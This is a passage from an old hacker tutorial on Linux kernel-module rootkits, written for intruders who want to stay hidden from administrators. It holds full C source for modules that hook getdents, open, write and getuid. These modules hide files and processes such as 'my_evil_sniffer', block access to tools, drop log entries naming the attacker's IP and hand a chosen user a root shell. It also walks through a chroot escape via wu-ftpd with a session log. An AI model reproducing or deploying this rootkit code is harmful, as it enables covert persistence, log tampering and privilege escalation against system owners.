Remember not every C-lib function is a syscall ! Most functions are totally unrelated to any syscalls !

A little more experienced hackers should take a look at the syscall listing in I.2 which provides enough information. It should be clear that User ID management is implemented through the uid-syscalls etc. If you really want to be sure you can also take a look at the library sources / kernel sources.

The hardest problem is an admin writing its own applications for checking system integrity / security. The problem concerning those programs is the lack of source code. We cannot say how this program exactly works and which syscalls we have to intercept in order to hide our presents / tools. It may even be possible that he introduced a LKM hiding itself which implements cool hacker-like syscalls for checking the system security (the admins often use hacker techniques to defend their system...). So how do we proceed.

2.1 Finding interesting syscalls (the strace approach)

Let's say you know the super-admin program used to check the system (this can be done in some ways, like TTY hijacking (see II.9 / Appendix A), the only problem is that you need to hide your presents from the super-admin program until that point..).

So run the program (perhaps you have to be root to execute it) using strace. # strace super_admin_proggy

```
This will give you a really nice output of every syscall made by that program including the
syscalls which may be added by the admin through his hacking LKM (could be possible). I don't
have a super-admin-proggy for showing you a sample output, but take a look at the output of 'strace
whoami':
execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
= 0x40007000
mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...})
= 0
open("/etc/ld.so.cache", O_RDONLY) = 3
```

```

mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
close(3) = 0
stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or
directory)
open("/lib/libc.so.5", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\3"... , 4096) = 4096
mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4000c000
mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED,
3, 0) = 0x4000c000
mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED,
3, 0x81000) = 0x4008e000
mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|
MAP_ANONYMOUS, -1, 0) = 0x40094000
close(3) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
munmap(0x40008000, 13363) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
personality(PER_LINUX) = 0
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
brk(0x804aa48) = 0x804aa48
brk(0x804b000) = 0x804b000
open("/usr/share/locale/locale.alias", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
= 0x40008000
read(3, "# Locale name alias data base\n#"..., 4096) = 2005
brk(0x804c000) = 0x804c000
read(3, "", 4096) = 0
close(3) = 0
munmap(0x40008000, 4096) = 0
open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such
file or directory)
open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
close(3) = 0
geteuid() = 500

```

```

open("/etc/passwd", O_RDONLY)           = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
= 0x4000b000
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074
close(3)                                 = 0
munmap(0x4000b000, 4096)                 = 0
fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
= 0x4000b000
write(1, "r00t\n", 5r00t
)                                         = 5
_exit(0)                                 = ?

```

This is a very nice listing of all systemcalls made by the command 'whoami', isn't it ? There are 4 interesting systemcalls to intercept in order to manipulate the output of 'whoami' `geteuid`

```

()                                         = 500
getuid()                                  = 500
getgid()                                  = 100
getegid()                                 = 100

```

Take a look at II.6 for an implementation of that problem. This way of analysing programs is also very important for a quick look at other standard tools.

I hope you are now able to find any systemcall which can help you to hide yourself or just to backdoor the system, or whatever you want.

3. Confusing the kernel's System Table

In II.1 you saw how to access the `sys_call_table`, which is exported through the kernel symbol table. Now think about this... We can modify *any* exported item (functions, structures, variables, for example) by accessing them within our module.

Anything listed in `/proc/ksyms` can be corrupted. Remember that our module cannot be compromised that way, because we don't export any symbols. Here is a little excerpt from my `/proc/ksyms` file, just to show you what you can actually modify. . . .

```

001bf1dc ppp_register_compressor
001bf23c ppp_unregister_compressor
001e7a10 ppp_crc16_table
001b9cec slhc_init
001b9ebc slhc_free
001baa20 slhc_remember
001b9f6c slhc_compress
001ba5dc slhc_uncompress
001babbc slhc_toss
001a79f4 register_serial
001a7b40 unregister_serial

```

```
00109cec dump_thread
00109c98 dump_fpu
001c0c90 __do_delay
001c0c60 down_failed
001c0c80 down_failed_interruptible
001c0c70 up_wakeup
001390dc sock_register
00139110 sock_unregister
0013a390 memcpy_fromiovec
001393c8 sock_setsockopt
00139640 sock_getsockopt
001398c8 sk_alloc
001398f8 sk_free
00137b88 sock_wake_async
00139a70 sock_alloc_send_skb
0013a408 skb_recv_datagram
0013a580 skb_free_datagram
0013a5cc skb_copy_datagram
0013a60c skb_copy_datagram_iovec
0013a62c datagram_select
00141480 inet_add_protocol
001414c0 inet_del_protocol
001ddd18 rarp_ioctl_hook
001bade4 init_etherdev
00140904 ip_rt_route
001408e4 ip_rt_dev
00150b84 icmp_send
00143750 ip_options_compile
001408c0 ip_rt_put
0014faa0 arp_send
0014f5ac arp_bind_cache
001dd3cc ip_id_count
0014445c ip_send_check
00142bc0 ip_forward
001dd3c4 sysctl_ip_forward
0013a994 register_netdevice_notifier
0013a9c8 unregister_netdevice_notifier
0013ce00 register_net_alias_type
0013ce4c unregister_net_alias_type
001bb208 register_netdev
001bb2e0 unregister_netdev
001bb090 ether_setup
0013d1c0 eth_type_trans
```

```
0013d318 eth_copy_and_sum
0014f164 arp_query
00139d84 alloc_skb
00139c90 kfree_skb
00139f20 skb_clone
0013a1d0 dev_alloc_skb
0013a184 dev_kfree_skb
0013a14c skb_device_unlock
0013ac20 netif_rx
0013ae0c dev_tint
001e6ea0 irq2dev_map
0013a7a8 dev_add_pack
0013a7e8 dev_remove_pack
0013a840 dev_get
0013b704 dev_ioctl
0013abfc dev_queue_xmit
001e79a0 dev_base
0013a8dc dev_close
0013ba40 dev_mc_add
0014f3c8 arp_find
001b05d8 n_tty_ioctl
001a7ccc tty_register_ldisc
0012c8dc kill_fasync
0014f164 arp_query
00155ff8 register_ip_masq_app
0015605c unregister_ip_masq_app
00156764 ip_masq_skb_replace
00154e30 ip_masq_new
00154e64 ip_masq_set_expire
001ddf80 ip_masq_free_ports
001ddfdc ip_masq_expire
001548f0 ip_masq_out_get_2
001391e8 register_firewall
00139258 unregister_firewall
00139318 call_in_firewall
0013935c call_out_firewall
001392d4 call_fw_firewall
```

...

Just look at `call_in_firewall`, this is a function used by the firewall management in the kernel. What would happen if we replace this function with a bogus one ?

Take a look at the following LKM : `#define MODULE`
`#define __KERNEL__`

```

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

/*get the exported function*/
extern int *call_in_firewall;

/*our nonsense call_in_firewall*/
int new_call_in_firewall()
{
    return 0;
}

int init_module(void)                                /*module setup*/
{
    call_in_firewall=new_call_in_firewall;
    return 0;
}

void cleanup_module(void)                            /*module shutdown*/
{
}

```

Compile / load this LKM and do a 'ipfwadm -I -a deny'. After this do a 'ping 127.0.0.1', your kernel will produce a nice error message, because the called call_in_firewall(...) function was replaced by a bogus one (you may skip the firewall installation in this example).

This is a quite brutal way of killing an exported symbol. You could also disassemble (using gdb) a certain symbol and modify certain bytes which will change the working of that symbol. Imagine there is a IF THEN construction used in an exported function. How about disassembling this function and searching for commands like JNZ, JNE, ... This way you would be able to patch important items. Of course, you could lookup the functions in the kernel / module sources, but what about symbols you cannot get the source for because you only got a binary module. Here the disassembling is quite interesting.

4. Filesystem related Hacks

The most important feature of LKM hacking is the ability to hide some items (your exploits, sniffer (+logs), and so on) in the local filesystem.

4.1 How to Hide Files

Imagine how an admin will find your files : He will use 'ls' and see everything. For those who don't know it, strace'in through 'ls' will show you that the syscall used for getting directory listings is `int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count) ;`

So we know where to attack. The following piece of code shows the `hacked_getdents` syscall adapted from AFHRM (from Michal Zalewski). This module is able to hide any file from 'ls' and *every* program using `getdents` syscall. `#define MODULE`

```
#define __KERNEL__
```

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
```

```
extern void* sys_call_table[];
```

```
int (*orig_getdents) (uint, struct dirent *, uint);
```

```
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned
int count)
```

```
{
    unsigned int tmp, n;
    int t, proc = 0;
    struct inode *dinode;
    struct dirent *dirp2, *dirp3;
    char hide[]="ourtool";                               /*the file to hide*/
```

```

/*call original getdents -> result is saved in tmp*/
tmp = (*orig_getdents) (fd, dirp, count);

/*directory cache handling*/
/*this must be checked because it could be possible that a former
getdents
put the results into the task process structure's dcache*/
#ifdef __LINUX_DCACHE_H
    dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    dinode = current->files->fd[fd]->f_inode;
#endif

/*dinode is the inode of the required directory*/
if (tmp > 0)
{
    /*dirp2 is a new dirent structure*/
    dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
    /*copy original dirent structure to dirp2*/
    memcpy_fromfs(dirp2, dirp, tmp);
    /*dirp3 points to dirp2*/
    dirp3 = dirp2;
    t = tmp;
    while (t > 0)
    {
        n = dirp3->d_reclen;
        t -= n;
        /*check if current filename is the name of the file we want to
hide*/
        if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)
        {
            /*modify dirent struct if necessary*/
            if (t != 0)
                memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
            else
                dirp3->d_off = 1024;
            tmp -= n;
        }
        if (dirp3->d_reclen == 0)
        {
            /*
            * workaround for some shitty fs drivers that do not properly

```

```

    * feature the getdents syscall.
    */
    tmp -= t;
    t = 0;
}
if (t != 0)
    dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
}
memcpy_tofs(dirp, dirp2, tmp);
kfree(dirp2);
}
return tmp;
}

int init_module(void)                                /*module setup*/
{
    orig_getdents=sys_call_table[SYS_getdents];
    sys_call_table[SYS_getdents]=hacked_getdents;
    return 0;
}

void cleanup_module(void)                            /*module shutdown*/
{
    sys_call_table[SYS_getdents]=orig_getdents;
}

```

For beginners : read the comments and use your brain for 10 mins.

After that continue reading.

This hack is really helpful. But remember that the admin can see your file by directly accessing it. So a 'cat ourtool' or 'ls ourtool' will show him our file. So never take any trivial names for your tools like sniffer, mountdexpl.c, Of course there are ways to prevent an admin from reading our files, just read on.

4.2 How to hide the file contents (totally)

I never saw an implementation really doing this. Of course there are LKMs like AFHRM by Michal Zalewski controlling the contents / delete functions but not really hiding the contents. I suppose there are lots of people actually using methods like this, but no one wrote on it, so I do.

It should be clear that there are many ways of doing this. The first way is very simple, just intercept an open systemcall checking if filename is 'ourtool'. If so deny any open-attempt, so no read / write or whatever is possible. Let's implement that LKM :

```
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_open)(const char *pathname, int flag, mode_t mode);

int hacked_open(const char *pathname, int flag, mode_t mode)
{
    char *kernel_pathname;
    char hide[]="ourtool";

    /*this is old stuff -> transfer to kernel space*/
    kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);

    memcpy_fromfs(kernel_pathname, pathname, 255);

    if (strstr(kernel_pathname, (char*)&hide ) != NULL)
    {
        kfree(kernel_pathname);
        /*return error code for 'file does not exist'*/
        return -ENOENT;
    }
    else
    {
        kfree(kernel_pathname);
        /*everything ok, it is not our tool*/
    }
}
```

```

    return orig_open(pathname, flag, mode);
}
}

```

```

int init_module(void)                                /*module setup*/
{
    orig_open=sys_call_table[SYS_open];
    sys_call_table[SYS_open]=hacked_open;
    return 0;
}

```

```

void cleanup_module(void)                            /*module shutdown*/
{
    sys_call_table[SYS_open]
=orig_open;
}

```

This works very fine, it tells anyone trying to access our files, that they are non-existent. But how do we access those files. Well there are many ways

- implement a magic-string
- implement uid or gid check (requires creating a certain account)
- implement a time check
- ...

There are thousands of possibilities which are all very easy to implement, so I leave this as an exercise for the reader.

4.3 How to hide certain file parts (a prototype implementation)

Well the method shown in 3.2 is very useful for our own tools / logs. But what about modifying admin / other user files. Imagine you want to control /var/log/messages for entries concerning your IP address / DNS name. We all know thousands of backdoors hiding our identity from any important logfile. But what about a LKM just filtering every string (data) written to a file. If this string contains any data concerning our identity (IP address, for example) we deny that write (we will just skip it/return). The following implementation is a very (!!) basic prototype (!!) LKM, just for showing it. I never saw it before, but as in 3.2 there may be some people using this since years. #define MODULE

```
#define __KERNEL__
```

```

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>

```

```
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_write)(unsigned int fd, char *buf, unsigned int count);

int hacked_write(unsigned int fd, char *buf, unsigned int count)
{
    char *kernel_buf;
    char hide[]="127.0.0.1"; /*the IP address we want to hide*/

    kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);

    memcpy_fromfs(kernel_buf, buf, 999);

    if (strstr(kernel_buf, (char*)&hide ) != NULL)
    {
        kfree(kernel_buf);
        /*say the program, we have written 1 byte*/
        return 1;
    }
    else
    {
        kfree(kernel_buf);
        return orig_write(fd, buf, count);
    }
}

int init_module(void) /*module setup*/
{
    orig_write=sys_call_table[SYS_write];
    sys_call_table[SYS_write]=hacked_write;
    return 0;
}
```

```
void cleanup_module(void)                /*module shutdown*/
{
    sys_call_table[SYS_write]
=orig_write;
}
```

This LKM has several disadvantages, it does not check for the destination it the write is used on (can be checked via fd; read on for a sample). This means the even a 'echo '127.0.0.1" will be printed.

You can also modify the string which should be written, so that it shows an IP address of someone you really like... But the general idea should be clear.

4.4 How to redirect / monitor file operations

This idea is old, and was first implemented by Michal Zalewski in AFHRM. I won't show any code here, because it is too easy to implemented (after showing you II.4.3/II.4.2). There are many things you can monitor by redirection/ filesystem events :

- someone writes to a file -> copy the contents to another file =>this can be done with sys_write (...) redirection
- someone was able to read a sensitive file -> monitor file reading of certain files =>this can be done with sys_read(...) redirection
- someone opens a file -> we can monitor the whole system for such events =>intercept sys_open(...) and write files opened to a logfile; this is the ways AFHRM monitors the files of a system (see IV.3 for source)
- link / unlink events -> monitor every link created =>intercept sys_link(...) (see IV.3 for source)
- rename events -> monitor every file rename event =>intercept sys_rename(...) (see IV.4 for source)
- ...

These are very interesting points (especially for admins) because you can monitor a whole system for file changes. In my opinion it would also be interesting to monitor file / directory creations, which use commands like 'touch' and 'mkdir'.

The command 'touch' (for example) does *not* use open for the creation process; a strace shows us the following listing (excerpt) : . . .

```
stat("ourtool", 0xbffff798)      = -1 ENOENT (No such file or
directory)
creat("ourtool", 0666)           = 3
close(3)                         = 0
_exit(0)                         = ?
```

As you can see the system uses the systemcall sys_creat(..) to create new files. I think it is not necessary to present a source, because this task is too trivial just intercept sys_creat(...) and write every filename to logfile with printk(...).

This is the way AFHRM logs any important events.

4.5 How to avoid any file owner problems

This hack is not only filesystem related, it is also very important for general permission problems. Have a guess which systemcall to intercept. Phrack (plaguez) suggests hooking `sys_setuid(...)` with a magic UID. This means whenever a `setuid` is used with this magic UID, the module will set the UIDs to 0 (SuperUser).

Let's look at his implementation (I will only show the `hacked_setuid` systemcall): . . .

```
int hacked_setuid(uid_t uid)
{
    int tmp;

    /*do we have the magic UID (defined in the LKM somewhere before*/
    if (uid == MAGICUID) {
        /*if so set all UIDs to 0 (SuperUser)*/
        current->uid = 0;
        current->euid = 0;
        current->gid = 0;
        current->egid = 0;
        return 0;
    }
    tmp = (*o_setuid) (uid);
    return tmp;
}
. . .
```

I think the following trick could also be very helpful in certain situation. Imagine the following situation: You give a bad trojan to an (very silly) admin; this trojan installs the following LKM on that system [i did not implement hide features, just a prototype of my idea] : `#define MODULE`

```
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
```

```

#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_getuid)();

int hacked_getuid()
{
    int tmp;

    /*check for our UID*/
    if (current->uid=500) {
        /*if its our UID -> this means we log in -> give us a rootshell*/
        current->uid = 0;
        current->euid = 0;
        current->gid = 0;
        current->egid = 0;
        return 0;
    }
    tmp = (*orig_getuid) ();
    return tmp;
}

int init_module(void)                                /*module setup*/
{
    orig_getuid=sys_call_table[SYS_getuid];
    sys_call_table[SYS_getuid]=hacked_getuid;
    return 0;
}

void cleanup_module(void)                            /*module shutdown*/
{
    sys_call_table[SYS_getuid]
=orig_getuid;
}

```

If this LKM is loaded on a system we are only a normal user, login will give us a nice rootshell (the current process has SuperUser rights). As I said in part I current points to the current task structure.

4.6 How to make a hacker-tools-directory inaccessible

For hackers it is often important to make the directory they use for their tools (*advanced* hackers don't

use the regular local filesystem to store their data). Using the getdents approach helped us to hide directory/files. The open approach helped us to make our files unaccessible. But how to make our directory unaccessible ?

Well - as always - take a look at include/sys/syscall.h; you should be able to figure out SYS_chdir as the systemcall we need (for people who don't believe it just strace the 'cd' command...). This time I won't give you any source, because you just need to intercept sys_mkdir, and make a string comparison. After this you should make a regular call (if it is not our directory) or return ENOTDIR (standing for 'there exists no directory with that name'). Now your tools should really be hidden from intermediate admins (advanced / paranoid ones will scan the HDD at its lowest level, but who is paranoid today besides us ?!). It should also be possible to defeat this HDD scan, because everything is based on systemcalls.

4.7 How to change CHROOT Environments

This idea is totally taken from HISPAAHACK (hispaahack.ccc.de). They published a real good text on that theme ('Restricting a restricted FTP'). I will explain their idea in some short words. Please note that the following example will *not* work anymore, it is quite old (see wu-ftp version). I just show it in order to explain how you can escape from chroot environments using LKMs. The following text is based on old software (wuftpd) so don't try to use it in newer wu-ftp versions, it *won't* work.

HISPAAHACK's paper is based on the idea of an restricted user FTP account which has the following permission layout :

```
drwxr-xr-x      6 user      users      1024 Jun 21 11:26 /home/user/
drwx--x--x     2 root      root       1024 Jun 21 11:26 /home/user/
bin/
```

This scenario (which you can often find) the user (we) can rename the bin directory, because it is in our home directory.

Before doing anything like that let's take a look at the working of wu.ftp (the server they used for explanation, but the idea is more general). If we issue a LIST command ../bin/ls will be executed with UID=0 (EUID=user's uid). Before the execution is actually done wu.ftp will use chroot(...) in order to set the process root directory in a way we are restricted to the home directory. This prevents us from accessing other parts of the filesystem via our FTP account (restricted).

Now imagine we could replace /bin/ls with another program, this program would be executed as root (uid=0). But what would we win, we cannot access the whole system because of the chroot(...) call. This is the point where we need a LKM helping us. We remove ../bin/ls with a program which loads a LKM supplied by us. This module will intercept the sys_chroot(...) systemcall. It must be changed in way it will no more restrict us.

This means we only need to be sure that sys_chroot(...) is doing nothing. HISPAAHACK used a very radical way, they just modified sys_chroot(...) in a way it only returns 0 and nothing more. After loading this LKM you can spawn a new process without being restricted anymore. This means you can access the whole system with uid=0. The following listing shows the example 'Hack-Session' published by HISPAAHACK:

```
thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997)
```

ready.

Name (ilm:root): user

331 Password required for user.

Password:

230 User user logged in. Access restrictions apply.

Remote system type is UNIX.

Using binary mode to transfer files.</TT></PRE>

ftp> ls

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

total 5

drwxr-xr-x 5 user users 1024 Jun 21

11:26 .

drwxr-xr-x 5 user users 1024 Jun 21

11:26 ..

d--x--x--x 2 root root 1024 Jun 21

11:26 bin

drwxr-xr-x 2 root root 1024 Jun 21

11:26 etc

drwxr-xr-x 2 user users 1024 Jun 21

11:26 home

226 Transfer complete.

ftp> cd ..

250 CWD command successful.

ftp> ls

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

total 5

drwxr-xr-x 5 user users 1024 Jun 21

11:26 .

drwxr-xr-x 5 user users 1024 Jun 21

21:26 ..

d--x--x--x 2 root root 1024 Jun 21

11:26 bin

drwxr-xr-x 2 root root 1024 Jun 21

11:26 etc

drwxr-xr-x 2 user users 1024 Jun 21

11:26 home

226 Transfer complete.

ftp> ls bin/ls

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

---x--x--x 1 root root 138008 Jun 21

```
11:26 bin/ls
226 Transfer complete.
ftp> ren bin bin.old
350 File exists, ready for destination name
250 RNT0 command successful.
ftp> mkdir bin
257 MKD command successful.
ftp> cd bin
250 CWD command successful.
ftp> put ls
226 Transfer complete.
ftp> put insmod
226 Transfer complete.
ftp> put chr.o
226 Transfer complete.
ftp> chmod 555 ls
200 CHMOD command successful.
ftp> chmod 555 insmod
200 CHMOD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
UID: 0 EUID: 1002
Cambiando EUID...
UID: 0 EUID: 0
Cargando modulo chroot...
Modulo cargado.
226 Transfer complete.
ftp> bye
221 Goodbye.
thx:~#
```

--> now we start a new FTP session without being restricted (LKM is loaded so

sys_chroot(...) is defeated. So do what you want (download passwd...)

In the Appendix you will find the complete source code for the new ls and the module.

5. Process related Hacks

So far the filesystem is totally controlled by us. We discussed the most interesting 'Hacks'. Now its time to change the direction. We need to discuss LKMs confusing commands like 'ps' showing processes.

5.1 How to hide any process

The most important thing we need everyday is hiding a process from the admin. Imagine a sniffer, cracker (should normally not be done on hacked systems), ... seen by an admin when using 'ps'. Oldschool tricks like changing the name of the sniffer to something different, and hoping the admin is silly enough, are no good for the 21. century. We want to hide the process totally. So lets look at an implementation from plaguez (some very minor changes):

```
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <linux/proc_fs.h>

extern void* sys_call_table[];

/*process name we want to hide*/
char mtroj[] = "my_evil_sniffer";

int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned
int count);

/*convert a string to number*/
int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;
    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
        if (*ptr < '0' || *ptr > '9')
            return (-1);
        res += (*ptr - '0') * mul;
        mul *= 10;
    }
}
```

```

}
return (res);
}

```

```

/*get task structure from PID*/
struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = current;
    do {
        if (p->pid == pid)
            return p;
        p = p->next_task;
    }
    while (p != current);
    return NULL;
}

```

```

/*get process name from task structure*/
static inline char *task_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;

    name = p->comm;
    i = sizeof(p->comm);
    do {
        unsigned char c = *name;
        name++;
        i--;
        *buf = c;
        if (!c)
            break;
        if (c == '\\') {
            buf[1] = c;
            buf += 2;
            continue;
        }
        if (c == '\n') {
            buf[0] = '\\';
            buf[1] = 'n';
            buf += 2;
            continue;
        }
    }
}

```

```
    buf++;  
}  
while (i);  
*buf = '\\n';  
return buf + 1;  
}
```

```
/*check whether we need to hide this process*/
```

```
int invisible(pid_t pid)  
{  
    struct task_struct *task = get_task(pid);  
    char *buffer;  
    if (task) {  
        buffer = kmalloc(200, GFP_KERNEL);  
        memset(buffer, 0, 200);  
        task_name(task, buffer);  
        if (strstr(buffer, (char *) &mtroj)) {  
            kfree(buffer);  
            return 1;  
        }  
    }  
    return 0;  
}
```

```
/*see II.4 for more information on filesystem hacks*/
```

```
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned  
int count)  
{  
    unsigned int tmp, n;  
    int t, proc = 0;  
    struct inode *dinode;  
    struct dirent *dirp2, *dirp3;  
  
    tmp = (*orig_getdents) (fd, dirp, count);  
  
#ifdef __LINUX_DCACHE_H  
    dinode = current->files->fd[fd]->f_dentry->d_inode;  
#else  
    dinode = current->files->fd[fd]->f_inode;  
#endif
```

```
    if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR  
(dinode->i_dev) == 1)
```

```

    proc=1;
if (tmp > 0) {
    dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
    memcpy_fromfs(dirp2, dirp, tmp);
    dirp3 = dirp2;
    t = tmp;
    while (t > 0) {
        n = dirp3->d_reclen;
        t -= n;
        if ((proc && invisible(myatoi(dirp3->d_name)))) {
            if (t != 0)
                memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
            else
                dirp3->d_off = 1024;
            tmp -= n;
        }
        if (t != 0)
            dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
    }
    memcpy_tofs(dirp, dirp2, tmp);
    kfree(dirp2);
}
return tmp;
}

```

```

int init_module(void)                                /*module setup*/
{
    orig_getdents=sys_call_table[SYS_getdents];
    sys_call_table[SYS_getdents]=hacked_getdents;
    return 0;
}

```

```

void cleanup_module(void)                            /*module shutdown*/
{
    sys_call_table[SYS_getdents]
=orig_getdents;
}

```

The code seems complicated, but if you know how 'ps' and every process analyzing tool works, it is really easy to understand. Commands like 'ps' do not use any special systemcall for getting a list of the current processes (there exists no systemcall doing this). By strace'in 'ps' you will recognize that it gets its information from the /proc/ directory. There you can find lots of directories with names only consisting of numbers. Those numbers are the PIDs of all running processes on that system. Inside these

directories you find files which provide any information on that process. So 'ps' just does an 'ls' on /proc/; every number it finds stands for a PID it shows in its well-known listing. The information it shows us about every process is gained from reading the files inside /proc/PID/. Now you should get the idea. 'ps' must read the contents of the /proc/ directory, so it must use sys_getdents(...). We just must get the name of the a PID found in /proc/; if it is our process name we want to hide, we will hide it from /proc/ (like we did with other files in the filesystem -> see 4.1). The two task functions and the invisible(...) function are only used to get the name for a given PID found in the proc directory and related stuff. The file hiding should be clear after studying 4.1.

I would improve only one point in plaguez approach. I don't know why he used a selfmade atoi-function, simple_strtoul(...) would be the easier way, but these are peanuts. Of course, in a complete hide module you would put file and process hiding in one hacked getdents call (this is the way plaguez did it).

Runar Jensen used another, more complicated way. He also hides the PIDs from the /proc directory, but the way he checks whether to hide or not is a bit different. He uses the flags field in the task structure.

This unsigned long field normally uses the following constants to save some information on the task :

- PF_PTRACED : current process is observed
- PF_TRACESYS : " " " "
- PF_STARTING : process is going to start
- PF_EXITING : process is going to terminate

Now Runar Jensen adds his own constant (PF_INVISIBLE) which he uses to indicate that the corresponding process should be invisible. So a PID found in /proc by using sys_getdents(...) must not be resolved in its name. You only have to check for the task flag field. This sounds easier than the 'name approach'. But how to set this flag for a process we want to hide. Runar Jensen used the easiest way by hooking sys_kill(...). The 'kill' command can send a special code (9 for termination, for example) to any process specified by his PID. So start your process which is going to be invisible, do a 'ps' for getting its PID. And use a 'kill -code PID'. The code field must be a value that is not used by the system (so 9 would be a bad choice); Runar Jensen took 32. So the module needs to hook sys_kill(...) and check for a code of 32. If so it must set the task flags field of the process specified through the PID given to sys_kill(...). This is a way to set the flag field. Now it is clear why this approach is a bit too complicated for an easy practical use.

5.2 How to redirect Execution of files

In certain situations it could be very interesting to redirect the execution of a file. Those files could be /bin/login (like plaguez did), tcpd, etc.. This would allow you to insert any trojan without problem of checksum checks on those files (you don't need to change them). So let's again search the responsible systemcall. sys_execve(...) is the one we need. Let's take a look at plaguez way of redirection (the original idea came from halflife) :

```
#define MODULE
#define __KERNEL__
```

```
#include <linux/module.h>
```

```
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

